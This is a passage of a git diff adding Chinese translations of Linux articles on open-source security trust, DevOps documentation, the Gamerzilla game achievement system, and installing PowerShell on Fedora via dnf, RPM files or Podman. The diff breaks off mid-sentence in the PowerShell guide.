不是对计算机而言的,而是对你本人而言的,至少在这一应用程序被渗透攻击之前,你信任它是因为你选择了相信它是安全的。 + +使用者本人是唯一可以对软件代码给予终极信任的人,因此任何人想要获得这样的享受都必须亲自审查代码。相信其他人的话是不管用的。 + +在你已经亲自审计并理解了软件代码之前,你对一个应用程序给予的最大信任度是一个范围,可以是从 _根本不信任_ 到 _相当信任_ 之间。然而我们并没有一个关于信任程度的标准对照表,这是一个你必须亲自做出的个人选择。如果你已经从非常信任的人那里听说了一款应用程序是安全的,那么你可能会更信任这个软件,而不是信任那些你没有得到信任建议的东西。 + +然而,因为无法审计专有(闭源)软件代码,你不可能给予它 _终极信任_。 + +### 林纳斯定律 + +现实很骨感,并不是每个人都是程序员,同时也不是每个程序员都有时间检查数以万计的代码行。因此如果你没有亲自审查代码,你就只能选择(一定程度上)相信那些 _亲自_ 审查了代码的人。 + +那么,有哪些人会审查代码呢? + +林纳斯定律声称 _只要有足够的眼睛关注,任何漏洞都无处隐藏_,然而我们并不知道多少双眼睛是“足够”的。请不要低估这一数量,应用程序往往经过了远超你想象数量的人员审查。原始开发人员以及后续开发人员显然清楚他们自己写下的代码,不过开源软件往往都是团队成果,开源时间越长,阅读了代码的开发人员越多。新加入的开发人员也必须回顾项目代码的核心部分,因为他们必须学习基础代码以加入新的功能。 + +同时,为了使开源软件能够在 Linux 发行版上可用,负责开源软件打包分发的开发人员会加入多个项目。有时一个应用程序可能会在不熟悉项目代码的情况下打包,但是大多数时候,开源软件打包人员都是熟悉所打包的项目代码的。这不仅仅是因为他们不想在他们不信任的软件上签名,还由于他们可能不得不修改代码来使得程序能够正确编译。漏洞报告人员和漏洞修复人员一般也是熟悉代码库的,因为他们需要尝试解决小到运行异常,大到程序崩溃的问题。当然,一些漏洞报告人员不是通过亲自审查项目代码,而是通过关注明显未按预期工作的现象,无意中揭示了代码漏洞。系统管理员通常都是通晓用户依赖的重要应用软件的代码的。最后,还有一些安全研究人员,他们专门深入代码内部以揭露潜在的漏洞。 + +### 信任与透明 + +很多人先入为主的认为大型软件的审计是基本不可能的,因为它由数以万计的代码行组成。不要被软件运行所需的代码量欺骗了。我们不需要真的阅读数以万计的代码行。代码是高度结构化的,可被利用的代码漏洞仅仅只是其中的一行,不过它通常影响软件的全部功能。 + +当然,也有例外。有时仅仅一个系统调用或者链接一个有缺陷的库文件就可能引入一系列漏洞。幸运的是,多亏安全研究人员以及漏洞数据库所扮演的积极角色,这些错误相对而言是容易发现的。 + +一些人指着错误追踪系统,比如 [通用漏洞披露][2]Common Vulnerabilities and Exposures(CVE)网站,并推断开源软件显而易见是不安全的。毕竟已经向公众公开了大量的安全风险,涉及许多开源项目。但是不要被数据欺骗了。只是因为我们看不到现闭源软件的漏洞,并不意味着闭源软件中不存在漏洞。事实上,已经有很多针对闭源软件的漏洞攻击提出了,闭源软件也是存在漏洞的。区别在于开发者(以及用户)可以查看开源软件的 _所有的漏洞_ 从而降低漏洞的影响。这是扩大对开源软件信任的系统机制的一部分,却正是闭源软件软件所缺少的。 + +对于任何代码而言,可能永远没有“足够的眼睛”来发现漏洞,但是开发社区越壮大、越多样化,越有机会发现和修复代码中的缺陷。 + +### 信任与人 + +在开源社区中,参与同一项目的众多开发者已经发现“不安全”的漏洞,却保持沉默的的可能性是微乎其微的,因为人们很少同意以这样的方式合谋。我们已经看到了在应对 COVID-19 的过程中,人类的行为是如何不一致了,在这里也一样: + + * 我们都发现了漏洞(病毒)。 + * 我们知晓如何避免它传播(待在家里)。 + * 然而病毒还是在持续传播,因为总是有一个或者多个人偏离了消减疫情的计划。 + +开源软件中的漏洞也一样,如果有人发现了漏洞总会公之于众(当然,我们说的是“假如”能够发现)。 + +然而就专有软件而言,有很大可能参与项目的众多开发者即使注意到不安全的漏洞却仍然保持沉默,因为专有模式依赖于薪水。如果一个开发者将漏洞泄漏出来,他可能只是伤害了该专有软件的声誉,进而降低软件的销售额;或者,在更糟糕的情况下,他可能因此而丢了工作。开发人员拿着薪水秘密地研究软件,往往不会谈论其缺陷。如果你曾经是一名开发者,你可能曾经签署过 NDA (LCTT 译注:保密协议Non-Disclosure Agreement),也被培训过商业秘密的重要性,等等不一而足。专有软件鼓励在面对严重的秘密缺陷时保持沉默,更多时候甚至是强制要求沉默。 + +### 信任与软件 + +不要信任未经你审计的软件。 + +如果你必须相信未经你审计的软件,那么选择相信已经面向那些更有可能将软件缺陷公之于众的开发者公开代码的软件。 + +开源软件并没有比专有软件继承更高的安全性,但是修复它的系统得到了更好的规划、实施和人员配置。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/open-source-security + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/yearbook-haff-rx-linux-file-lead_0.png?itok=-i0NNfDC (Hand putting a Linux file folder into a drawer) +[2]: https://cve.mitre.org +[0]: https://img.linux.net.cn/data/attachment/album/202212/13/114637dg6w34suucuupucv.jpg \ No newline at end of file diff --git a/published/202212/20210330 A DevOps guide to documentation.md b/published/202212/20210330 A DevOps guide to documentation.md new file mode 100644 index 0000000000..79f11c85c2 --- /dev/null +++ b/published/202212/20210330 A DevOps guide to documentation.md @@ -0,0 +1,94 @@ +[#]: subject: "A DevOps guide to documentation" +[#]: via: "https://opensource.com/article/21/3/devops-documentation" +[#]: author: "Will Kelly https://opensource.com/users/willkelly" +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15349-1.html" + +文档写作的 DevOps 指南 +====== + +> 将文档写作加入到 DevOps 的生命周期中。 + +![][0] + +DevOps 正在挑战技术文档的规范,这在 IT 历史上是前所未有的。从自动化到提高交付速度,再到拆除瀑布式软件开发生命周期模型,这意味着业务和技术文档写作的理念需要做出巨大改变。 + +以下是 DevOps 对技术文档写作不同方面的影响。 + +### 技术写手的角色变化 + +技术写手必须适应 DevOps。好消息是,许多技术写手已经加入到开发团队中,并且拥有合作关系和不断增长的产品知识的技术写手很具优势。 + +但是如果一个技术写手习惯于独立工作,并依赖于领域专家的草稿作为文档的基础,那么就需要做一些调整。 + +进行一些投资,以确保文档和其他与项目有关的内容开发工作获得所需的工具、结构和支持。从改变 [技术写手聘用方式][2] 开始。以 [DevOps 的速度][3] 编写文档需要重新思考内容规划,并打破 DevOps 团队和支持项目的技术写手之间长期存在的隔阂。 + +DevOps 使开发团队摆脱了传统文档实践的束缚。首先,文档 [完成的定义][4] 必须改变。一些企业的文化使技术写手成为软件开发的被动参与者。DevOps 提出了新的要求:随着 DevOps 文化的转变,技术写手的角色也应发生变化。技术写手需要(且必须适应)DevOps 提供的透明度。他们必须融入 DevOps 团队。取决于组织如何塑造这个角色,将技术写手带入团队可能会带来技能上的挑战。 + +### 文档标准、方法和规格 + +虽然 DevOps 还没有影响到技术文档本身,但开源社区已经加强了对应用编程接口(API)文档的帮助,已经有不同规模的企业的 DevOps 团队正在使用这些文档。 + +用于记录 API 的开源规范和工具是个非常值得关注的领域。我想这是由于 [谷歌文档季][5] 的影响,它使开源软件项目能够获得专业的技术写作人才来解决他们最关键的文档项目。 + +开源 API 属于 DevOps 文档讨论的一部分。云原生应用集成需求的重要性正在上升。[OpenAPI 规范][6](一个定义和记录 API 的开放标准)是在 DevOps 环境下 API 文档的良好资源。然而,该规范会导致文档的创建和更新过程变得很费时,这使其饱受批评。 + +曾经也有短暂尝试过创建 [持续文档][7]Continuous Documentation,并且还有一个来自 CA(现在的 Broadcom)的创建 [DocOps][8] 框架的运动。然而,DocOps 从来没有作为一个行业运动流行起来。 + +DevOps 文档标准的现状意味着 DevOps 团队(包括技术写手)需要在项目的最初阶段就开始创建文档。要做到这一点,你需要把文档作为一个敏捷故事和(同样重要的)管理期望,并且把它与年度绩效评估放在一起执行。 + +### 文档工具 + +文档的编写应该以一种所有团队成员都可以使用的格式或平台在线进行。MediaWiki、DokuWiki、TikiWiki 和其他 [开源维基][9] 为 DevOps 团队提供了一个编写和维护文档的中央仓库。 + +让团队选择他们的维基平台,就像让他们选择他们的其他持续集成/持续开发(CI/CD)工具链一样。开源维基强大之处在于其可扩展性。例如,DokuWiki 包括一系列的扩展,你可以通过安装这些扩展来创建一个符合你的 DevOps 团队的创作要求的平台。 + +如果你有足够的野心来加强你的团队的编写和协作能力,[Nextcloud][10](一个开源的云协作套件)是一个让你的 DevOps 团队上网并给他们提供编写文档所需工具的选择。 + +### DevOps 最佳实践 + +文档在 DevOps 转型中也发挥着作用。例如,你会想要记录组织从 DevOps 实现效率和流程增益的最佳实践,这些信息太重要了,不能靠着 DevOps 团中之间口耳相传。如果你所在的组织有多个 DevOps 团队,那么文档就是统一的力量,它可以促进最佳实践的标准化,并设置了衡量代码质量的基准指标。 + +一般情况下,开发人员承担了记录 DevOps 实践的工作。即使他们的组织有技术写手,他们也可能跨开发团队工作。因此,开发人员和系统管理员能够捕捉、记录和交流他们的最佳实践是很重要的。这里有一些朝正确的方向发展的提示: + +* 提前花时间为 DevOps 最佳实践创建标准模板。不要陷入复制在线模板的陷阱。采访利益相关者和团队来创建一个符合团队需求的模板。 +* 寻找一些创造性的信息收集的方法,例如记录团队会议和使用聊天系统日志来作为文档的基础。 +* 建立一个用于发布最佳实践的维基。使用维基可以跟踪编辑和更新。这样的平台可以帮助团队在最佳实践发生变化时进行更新和维护。 + +当在构建 CI/CD 工具链时记录依赖关系是非常明智的。尤其是当加入新的团队成员时,你会发现这些记录非常有用,另外当团队成员忘记一些事情时,这也是一种保险。 + +最后,自动化对 DevOps 利益相关者和从业者都很有吸引力。在自动化中断之前,一切都很有趣。拥有自动化运行手册、管理指南和其他内容的文档(并且是最新的)意味着无论何时发生故障,员工都可以让自动化重新工作。 + +### 最后一些想法 + +DevOps 对于技术文档来说是一个积极的因素。它将内容开发纳入 DevOps 生命周期,并打破组织文化中开发人员和技术作者之间的隔阂。在没有技术写手的情况下,团队就可以使用工具来加快文档创作的速度,以与 DevOps 的速度相匹配。 + +你的组织将如何把文档加入到 DevOps 生命周期?请在评论区分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/devops-documentation + +作者:[Will Kelly][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/willkelly +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv "Typewriter with hands" +[2]: https://opensource.com/article/19/11/hiring-technical-writers-devops +[3]: https://searchitoperations.techtarget.com/opinion/Make-DevOps-documentation-an-integral-part-of-your-strategy?_ga=2.73253915.980148481.1610758264-908287796.1564772842 +[4]: https://www.agilealliance.org/glossary/definition-of-done +[5]: https://developers.google.com/season-of-docs +[6]: https://swagger.io/specification/ +[7]: https://devops.com/continuous-documentation +[8]: https://www.cmswire.com/cms/information-management/the-importance-of-docops-in-the-new-era-of-business-027489.php +[9]: https://opensource.com/article/20/7/sharepoint-alternative +[10]: https://opensource.com/article/20/7/nextcloud +[0]: https://img.linux.net.cn/data/attachment/album/202212/15/101537c4kcxxzqzh6fxkor.jpg \ No newline at end of file diff --git a/published/202212/20210917 Open source game achievements.md b/published/202212/20210917 Open source game achievements.md new file mode 100644 index 0000000000..5cb5ca3dea --- /dev/null +++ b/published/202212/20210917 Open source game achievements.md @@ -0,0 +1,82 @@ +[#]: subject: "Open source game achievements" +[#]: via: "https://fedoramagazine.org/open-source-game-achievements/" +[#]: author: "Dennis Payne https://fedoramagazine.org/author/dulsi/" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15389-1.html" + +Gamerzilla:一个开源游戏成就系统 +====== + +![][1] + +Photo by [Michał Parzuchowski][2] on [Unsplash][3] + +> 了解开源游戏成就系统 Gamerzilla。它使游戏开发者能够独立于游戏平台实现成就系统。 + +一些开源游戏的质量已经媲美商业游戏。尽管还难以比肩 3A 大作,但开源游戏在独立游戏中已颇具竞争力。不过,游戏玩家的期望是随时间变化的。早期的游戏只有高分成就。不断增加的成就种类促使玩家反复重玩游戏。比如你可能达到了满级,却还没有找到所有隐藏物品或没有完成全物品收集。Xbox 360 推出了首个在线多游戏成就系统。随后其它游戏平台也纷纷推出了自己的成就系统。 + +开源游戏在很大程度被游戏平台的成就系统排除在外。你可以在 Stream 上发布开源游戏,但这需要付费。游戏平台主要与公司合作,而不是与自由软件社区合作。这也进一步把玩家锁定在了非自由的游戏平台上。 + +商业游戏开发商也没有得到太多好处。由于不能共享成就,一些享受成就的玩家拒绝从其他商店购买游戏。这种锁定效应增强了游戏平台的话语权。由于各个游戏平台使用不同的系统,开发者不得不针对它们分别进行适配和测试。较小的游戏平台则可能完全被忽略掉。并且平台方能够访问到所有使用该平台的公司的成就数据,这些数据可以被用来扩大竞争优势。 + +### Gamerzilla 的架构 + +[Gamerzilla][4] 是一个致力于改善这种现状的开源游戏成就系统。Gamerzilla 在设计上同时考虑了开源游戏和商业游戏。你可以运行自己的 Gamerzilla 服务器,使用游戏商店提供的服务器,甚至 Linux 发行版提供的服务器。服务器也可以由其他团体来运行。在哪里购买游戏不再重要。成就数据都会上传到你的 Gamerzilla 服务器上。 + +一个基本的成就系统需要两个要素:游戏和 Gamerzilla 服务器。然而随着游戏数量增长,这种设计会暴露出其缺点。每个游戏都需要证书才能上传数据到服务器。由于拥有大量的游戏资源,并且能够在不同游戏商店之间同步数据,游戏启动器成为了众多玩家的选择。通过让启动器支持 Gamerzilla,游戏本身就不再需要证书了。游戏结果直接从启动器上传到 Gamerzilla 服务器。 + +freegamedev.net 曾提供了社交网络系统 Hubzilla。我们基于此开发了一个插件来进行 Gamerzilla 的开发。不幸的是 Hubzilla 的一次升级导致了 freegamedev.net 的服务故障,因此 freegamedev.net 决定不再提供它了。 + +目前 Gamerzilla 服务器有两种实现。维护 Hubzilla 是一项复杂的工作,所以我们用 .Net 和 React 开发了一个独立的 Gamerzilla 服务器。游戏调用的 API 是相同的,所以不用关心连接的服务器是哪种实现。 + +游戏启动器的开发和支持工作通常是滞后的。为了方便启动器增加对 Gamerzilla 的支持,我们开发了 libgamerzilla。这个库负责处理启动器、游戏和 Gamerzilla 服务器之间的交互。目前只有 GameHub 实现了一个支持 Gamerzilla 的版本,并将在近期整合到项目中。Fedora 上的 libgamerzilla-server 是一个临时解决方案。它不启动游戏,而是监听成就并把成就上传到服务器。 + +支持 Gamerzilla 的游戏在不断增长。与游戏启动器一样,开发者使用 libgamerzilla 来完成 Gamerzilla 的集成工作。这个库由 C 语言实现,已经被 Python 和 nim 等多种编程语言使用。对于那些已经有成就系统的游戏,只需要花几天时间就可以完成对 Gamerzilla 的支持。其他游戏想要支持 Gamerzilla,大部分时间都是花在收集信息和授予成就上。 + +### 架设服务器 + +架设服务器最容易的方式是使用 Hubzilla 插件。但是运行 Hubzilla 站点却不是一件轻松的事情。在 Fedora 上架设基于 .Net 和 React 的服务器相对来说要容易一些,尽管这仍然需要许多步骤。详细步骤请参考 [readme][5] 文件。需要这么多步骤的一部分原因是目前没有预编译好的发布版本。这意味着你需要自己安装 .Net,动手构建 React 源码部分。构建完成之后,React 代码会直接运行在 Apache 中。.Net 后端则运行在单独的服务上。Apache 作为代理负责把所有 Gamerzilla API 请求转发给后端服务。 + +按上面的步骤操作,Gamerzilla 已经运行起来了,但是现在还没有用户。当然应该有一个简单的方式来创建管理员和注册新用户。但是该功能还没有完成。目前只能通过 sqlite3 命令行来录入用户信息。具体步骤请参考 [readme][5] 文件。用户可以是公开可见的,也可以是隐藏的。批准标记可以让新用户不立刻使用该系统,但是网络注册是必须的。在设计时我们已经考虑了用户相关模块的可替换性。通过替换 `backend/Service/UserService.cs` 就可以与其他站点进行集成。游戏网站也可以通过这种方式来为用户提供 Gamerzilla 成就系统。 + +目前 Gamerzilla 的后端使用的是 sqlite 数据库。我们还没有对它进行过性能测试。我们预计较大型的应用安装需要改进系统以使用更鲁棒的数据库。 + +### 测试 + +目前要找一个支持 Gamerzilla 的游戏启动器太难了。如果你安装了 libgamerzilla-server,就可以在命令行中运行 `gamerzillaserver` 命令。首次运行该命令时需要输入 URL 和登录信息。以后再运行时会直接从配置文件读取这些信息。目前更正错误的唯一方法是删除 `.local/share/gamerzillaserver/server.cfg` 再重新运行 `gamerzillaserver` 命令。 + +大多数游戏还没有支持 Gamerzilla 的版本。[itch.io 上的 《Pinball Disc Room》][6],它的 Linux 版本支持 Gamerzilla,但是它的网页版是没有成就系统的。这款游戏只有两个成就:一个是存活 10 秒钟,另一个是解锁并使用隧道。只需要稍加练习,你就能获得一个成就。由于这款游戏没有可视化的成就提示消息,你需要查看 Gamerzila 服务器才能确认成就。 + +目前打包到 Fedora 中的游戏都还不支持 Gamerzila。《SuperTuxKart》 已经整合了对 Gamerzila 的支持,正在等待发布新版本。《Seahorse adventures》 和 《Shippy 1984》 添加了成就,但是新发布版本还没有打包。还有一部分游戏由我们独立完成了对 Gamerzila 的支持,但我们的拉取请求pull request或其它联系尝试还没有得到开发者的回应。 + +### 后续工作 + +Gamerzilla 需要更多游戏的支持。目前已经有很多游戏支持 Gamerzilla,并且正在以大约每月一个的速度增长。如果你有喜欢的游戏,可以请求开发方支持 Gamerzilla。如果你是游戏开发者,并且在支持 Gamerzilla 上需要技术支持,请联系我们。 + +服务器的开发工作在缓步开展中,我们希望不久之后就会有一个可用的注册系统。在那之后我们可能会建立一个永久托管站点。目前你可以看到我们的 [测试服务器][7]。一些人对于使用 .Net 作为后端表示担忧。我们的 API 并不复杂,可以很容易用 Python 重写。 + +最大的不确定性来自游戏启动器方面。GameHub 希望有一个通过用的成就接口。未来我们可能会在这方面与他们开展合作。增加对 itch.io 应用的支持可以提升系统的关注度。另一种方案是完全抛开启动器。也许可以将 gamerzillaserver 添加到 Gnome 中。然后你就可以在一个设置页面里配置 URL 和登录信息。这样任何启动的游戏都可以记录成就了。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/open-source-game-achievements/ + +作者:[Dennis Payne][a] +选题:[lujun9972][b] +译者:[toknow-gh](https://github.com/toknow-gh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/dulsi/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/09/game_acheivements-816x345.jpg +[2]: https://unsplash.com/@mparzuchowski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/jenga?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: http://identicalsoftware.com/gamerzilla/ +[5]: https://github.com/dulsi/gamerzilla.net#readme +[6]: https://dulsi.itch.io/pinball-disc-room +[7]: http://108.49.106.217/ diff --git a/published/202212/20210922 Install PowerShell on Fedora Linux.md b/published/202212/20210922 Install PowerShell on Fedora Linux.md new file mode 100644 index 0000000000..e008f88174 --- /dev/null +++ b/published/202212/20210922 Install PowerShell on Fedora Linux.md @@ -0,0 +1,292 @@ +[#]: subject: "Install PowerShell on Fedora Linux" +[#]: via: "https://fedoramagazine.org/install-powershell-on-fedora-linux/" +[#]: author: "TheEvilSkeleton, Ozymandias42 https://fedoramagazine.org/author/theevilskeleton/ https://fedoramagazine.org/author/ozymandias42/" +[#]: collector: "lujun9972" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15312-1.html" + +在 Fedora Linux 系统上安装 PowerShell +====== + +![][0] + +PowerShell(也可写作 pwsh)是一个功能强大的开源命令行工具,它是面向对象的,由微软开发和维护。它的语法特征冗长,但对用户来说比较直观。本文介绍如何在主机上和在 Podman 或其他容器内安装 PowerShell。 + +### 为何使用 PowerShell + +PowerShell,正如它的名字那样,是一个强大的工具。它的句法冗长,但语义清晰。对那些不愿意写长命令的开发者来说,PowerShell 的大多数命令都有别名。可以使用 `Get-Alias` 或点击 [此处][15] 查询别名的使用方法。 + +PowerShell 和传统的 Shell 最大的区别在于它的输出管道。普通的 Shell 输出的是字符串或字符流,PowerShell 输出的是对象。这对命令管道的工作方式具有深远的影响,而且它具有很多的优点。 + +#### 演示例子 + +下面的例子体现的是冗长而清晰的特点。以 `#` 号开头的行是注释行。以 `PS > ` 开头的行是命令行,`PS > ` 是提示符: + +``` +# Return all files greater than 50MB in the current directory. +## Longest form +PS > Get-Childitem | Where-Object Length -gt 50MB +## Shortest form (with use of aliases) +PS > gci | ? Length -gt 40MB +## Output looks like this + Directory: /home/Ozymandias42/Downloads +Mode LastWriteTime Length Name +---- ------------- ------ ---- +----- 20/08/2020 13:55 2000683008 40MB-file.img + + +# In order: get VMs, get snapshots, only select the last 3 and remove selected list: +PS > Get-VM VM-1 | Get-Snapshot | Select-Object -Last 3 | Remove-Snapshot +``` + +上述例子说明了:Bash 脚本经常需要用 `cut`、`sed`、`awk` 等工具对输入/输出进行格式化,而使用 PowerShell 时通常就没有这个必要了。这是因为 PowerShell 的工作机制跟传统的 POSIX shell(例如 Bash、Zsh、Fish等)有本质的不同。传统的 Shell 的命令输出形式是字符串,而在 PowerShell 中,命令输出形式为对象。 + +#### Bash 与 PowerShell 的比较 + +下面的例子说明了与 Bash 中的字符串输出模式相比,PowerShell 的对象输出模式的优点。假设你需要写一段脚本,该脚本的作用显示所有进程,这些进程一共占用了 200MB 内存空间。如果使用 Bash,大致如下: + +``` +$ ps -eO rss | awk -F' ' \ + '{ if($2 >= (1024*200)) { \ + printf("%s\t%s\t%s\n",$1,$2,$6);} \ + }' + +PID RSS COMMAND +A B C +[...] +``` + +第一个显而易见的差别就是可读性,或更确切地说是语义清晰度。 `ps` 和 `awk` 都不是自描述的。`ps` 命令的功能是显示进程状态;`awk` 是一种文本处理工具和语言,这个词汇每个字母都是前期开发人员的名字(**A**ho, **W**einberger, **K**ernighan(详见 [维基百科][16])的首字母。然而,在把它与 PowerShell 作比较前,先看看这个脚本: + + * `ps -e` 输出所有运行中的进程; + * `-O rss` 输出 `ps` 的默认输出内容,再加上 RSS 字段 —— 每个进程使用的千字节数(以 KB 为单位);输出结果类似于: + + ``` + PID RSS S TTY TIME COMMAND + 1 13776 S ? 00:00:01 /usr/lib/systemd/systemd + ``` + * `|` 管道操作符使用左边命令的输出作为右边命令的输入。 + * `awk -F' '` 定义“空格”,作为输入字段分隔符。以上面的例子来说,PID 是第一个字段,RSS 是第二个字段,依此类推。 + * `'{ if($2 >= (1024*200)) {` 是实际的 AWK 代码起始处。它的作用是检查第二个字段([RSS][17])是否包含一个大于或等于 1024*200 的数字; + * `printf(“%s\t%s\t%s\n”,$1,$2,$6);}` 脚本继续。如果前面的条件成立,则输出第一、第二和第六个字段(分别是 [PID][18]、[RSS][17] 和 `COMMAND` 字段)。 + +考虑到这一点,退一步说,编写这段脚本需要什么才能令它工作: + + * 输入命令 `ps` 的输出中必须包含我们想要过滤的字段。这在默认情况下是没有的,需要我们使用 `-O` 标志和 `rss` 字段作为参数。 + * 我们需要将 `ps` 的输出当作一组输入字段,所以我们还应当知道它们的顺序和结构。换句话说,我们至少需要确定 `RSS` 是第二个字段。这也意味着我们需要提前知道 `ps` 的输出信息的大致情况。 + * 然后我们需要知道过滤的数据是什么单位,以及相关工具的单位是什么。也就是我们需要知道 `RSS` 和 `awk` 字段使用 kb。不然我们就不能写出 `($2 >= 1024*200)` 这样的表达式。 + +现在,我们把前面的命令跟 PoserShell 中等价的命令比较: + +``` +# Longest form +PS > Get-Process | Where-Object WorkingSet -ge 200MB +# Shortest form (with use of aliases) +PS > gps | ? ws -ge 200MB + +NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName +------ ----- ----- ------ -- -- ----------- + A B C D E F G +[...] +``` + +首先应该注意到,语义非常清晰。这些命令都是自描述的,能清晰描述它们做什么。 + +此外,不需要对输入-输出重新格式化,也不需要关心输入命令使用的单位。这是因为 PowerShell 输出的是对象,而非字符串。 + +考虑下述情况,就可以理解这些内容。在 Bash 中,命令的输出信息就是终端显示的信息。在 PowerShell 中,终端显示的信息并不等于实际可用的信息。这是由于 PowerShell 中的输出-打印系统使用的也是对象。因此 PowerShell 中每一条命令都对输出的对象的一些属性作了可打印的标记,也对一些属性作了不可打印的标记。然而,它总是包括所有的属性,而 Bash 只包括它实际打印的内容。我们可以把它想象成 JSON 对象。Bash 中的输出位置被分为一些“字段”,以空格或制表符为标志,在 PowerShell 中它是一个容易寻址的对象属性,只需要知道它的名称即可使用。就像上述例子中的 `WorkingSet` 那样。 + +为了看到一条命令的输出对象的所有属性和它们的类型,可以进行以下操作: + +``` +PS > Get-Process | Get-Member +``` + +### 安装 PowerShell + +PowerShell 安装包的形式有若干种,包括 Fedora Linux 中使用的 RPM 安装包。本文介绍在 Fedora Linux 中如何使用多种方法安装 PowerShell。 + +我推荐使用原生的方法安装。但我也会介绍如何在容器中安装。我将展示使用官方微软 PowerShell 容器和 Fedora Linux 30 的 Toolbox 容器。使用容器的优点在于,所有的依赖捆绑在其中,并且与主机隔离,所以它一定是有效的。无论如何,虽然官方文档只是明确指出支持 Fedora Linux 发行版的 28-30 版本,我还是建议使用原生的方法安装。 + +**注意:** 官方支持意味着一定有效。但其他的版本也不是一定不兼容。也就是说,高于 30 的发行版也应该有效。经过测试,的确如此。 + +在容器中设置并运行 PowerShell 比直接在主机上运行它难度更大,安装需要花费更多时间,而且你还不能直接运行主机的命令。 + +#### 在主机上使用包管理器安装 PowerShell + +##### 方法一:使用微软仓库 + +安装过程很直接,而且跟通过第三方仓库安装其他软件没什么区别。 + +通俗地说,安装过程可以分为四步: + + 1. 添加新仓库的 GPG 密码 + 2. 在 DNF 仓库列表中新增相应的仓库 + 3. 刷新 DNF 缓存,将新仓库中的有关包包含进来 + 4. 安装新包 + +然后使用命令 `pwsh` 启动 PowerShell。 + +``` +$ sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc +$ curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/microsoft.repo +$ sudo dnf makecache +$ sudo dnf install powershell +$ pwsh +``` + +欲删除仓库和包,运行以下命令: + +``` +$ sudo rm /etc/yum.repos.d/microsoft.repo +$ sudo dnf remove powershell +``` + +##### 方法 2:使用 PRM 文件 + +这种方法与第一种方法没有明显的差别。实际上,在安装 RPM 文件时,隐式添加了 GPG 密码和仓库。这是由于 RPM 文件包含它们两者的关联关系,保存在它的元数据中。 + +首先,从 [PowerShell GitHub 仓库][19] 获取相应版本的 `.rpm` 文件。然后查看 `readme.md` 文件中的 “获取 PowerShell” 部分的内容。 + +第二步,输入以下命令: + +``` +$ sudo dnf install powershell-.rhel.7..rpm +``` + +在 `` 和 `` 节点中填写各自的内容,例如 [powershell-7.1.3-1.rhel.7.x86_64.rpm][20]。 + +你也可以使用链接运行它,不指定版本和架构,先把它下载到本地。 + +``` +$ sudo dnf install https://github.com/PowerShell/PowerShell/releases/download/v/powershell-.rhel.7..rpm +``` + +欲删除 PowerShell,运行以下命令: + +``` +$ sudo dnf remove powershell +``` + +#### 通过容器安装 + +##### 方法一:使用 Podman 容器 + +Podman 是一个兼容 [开放容器倡议][21](OCI)的、嵌入式的容器引擎,它可以代替 Docker。 + +微软提供了 [PowerShell Docker 容器集成工具][22]。下面的例子将在 Podman 中使用容器。 + +欲了解更多关于 Podman 的信息,可以访问 [Podman.io][23]。Fedora 杂志还有一个专为 Podman 设计的 [标签][24]。 + +欲在 Podman 中使用 PowerShell,运行以下脚本: + +``` +$ podman run \ + -it \ + --privileged \ + --rm \ + --name powershell \ + --env-host \ + --net=host --pid=host --ipc=host \ + --volume $HOME:$HOME \ + --volume /:/var/host \ + mcr.microsoft.com/powershell \ + /usr/bin/pwsh \ + -WorkingDirectory $(pwd) +``` + +这段脚本为使用 PowerShell 创建了一个 Podman 容器,并立即接入其中。它还将 `/home` 和主机的根目录挂载到容器中,确保它们在容器中是可用的。无论如何,在 `/var/host` 目录下,主机的根目录是可访问的。 + +但是,在容器内部,你只能间接运行主机命令。有一种变通办法,就是先运行 `chroot /var/host` 改变根目录,然后运行主机命令。 + +为了把命令拆分开来讲解,除非特别指定,以下所有内容都是强制性的: + + * `-it` 创建一个持久环境,当你进入该环境后,不会轻易退出; + * `--privileged` 给予容器扩展的权限(可选); + * `--rm` 当你退出时移除容器; + * `--name` 设置容器名称; + * `--env-host` 将所有主机的环境变量设置为容器的变量(可选); + * `--net=host --pid=host --ipc=host` 在主机的命名空间中运行进程(而非一组单独的名称空间); + * `--volume $HOME:$HOME` 挂载用户目录; + * `--volume /:/var/host` 将主机根目录挂载到 `/var/host`(可选); + * `mcr.microsoft.com/powershell` 进入容器; + * `/usr/bin/pwsh` 可选但很方便的参数:用别名 `pwsh`,脚本中有了它,可以输入 `pwsh` 轻松访问 Podman 容器; + * `-WorkingDirectory $(pwd)` 在当前目录下进入容器(可选)。 + +欲移除 PowerShell 镜像,运行以下命令: + +``` +$ podman rmi mcr.microsoft.com/powershell +``` + +##### 方法二:Fedora 系统的 Toolbox 容器 + +在不影响主机系统的情况下安装持久化环境,使用 Toolbox 